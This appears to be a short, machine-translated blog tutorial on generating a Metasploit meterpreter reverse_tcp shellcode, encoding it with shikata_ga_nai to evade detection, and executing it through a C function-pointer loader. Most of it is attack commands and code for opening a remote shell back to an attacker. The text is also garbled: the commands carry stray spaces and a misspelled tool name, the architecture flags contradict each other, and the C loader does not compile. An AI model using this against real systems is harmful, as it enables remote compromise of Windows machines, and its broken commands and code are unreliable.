Shellcode Injection in Memory

# Shellcode [CONNECTION REVERSE] # Memory
In this post I will address the issue of injecting a shellcode in memory, but first of all we have to generate a shellcode using the msfpayload that is present in the Metasploit framework.

root @ l0wsec: ~ # msfpayload windows / meterpreter / reverse_tcp LHOST = LPORT = 445 R | msfenconde -e x86 / x64 shikata_ga_nai -tc -a -b “\ x00 \ x0A \ x00” -c 5


Will generate the shellcode using the payload (windows / meterpreter / reverse_tcp). Now I’ll have to set the IP of the machine that will connect in the parameter (LHOST) and the door will also connect in parameter (LPORT), and last will define the parameter (R) for msfpayload me return to shellcode to (R) w.



msfenconde -e x86 / x64 shikata_ga_nai -tc -a -b “\ x00 \ x0A \ x00” -c 5

The msfencode will be used to encode my shellcode (x86 / shikata_ga_nai) now and will set the times numéro that my shellcode will be encoded in the parameter  (C 5) in this case set to five. (-t) And will also set the output format “c”. The architecture that the shellcode will use is 64 bits (-a x64). I delete some characters “useless” x00, x0A using the parameter (b)



I will use the Dev C ++ to compile the program that will run my shellcode:

char code [] = “shellcode”;
int main (int argc, char ** argv)
int (* func) ();
= func (int (*) ()) code;
(Int) (* func) ();

# Connection



Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s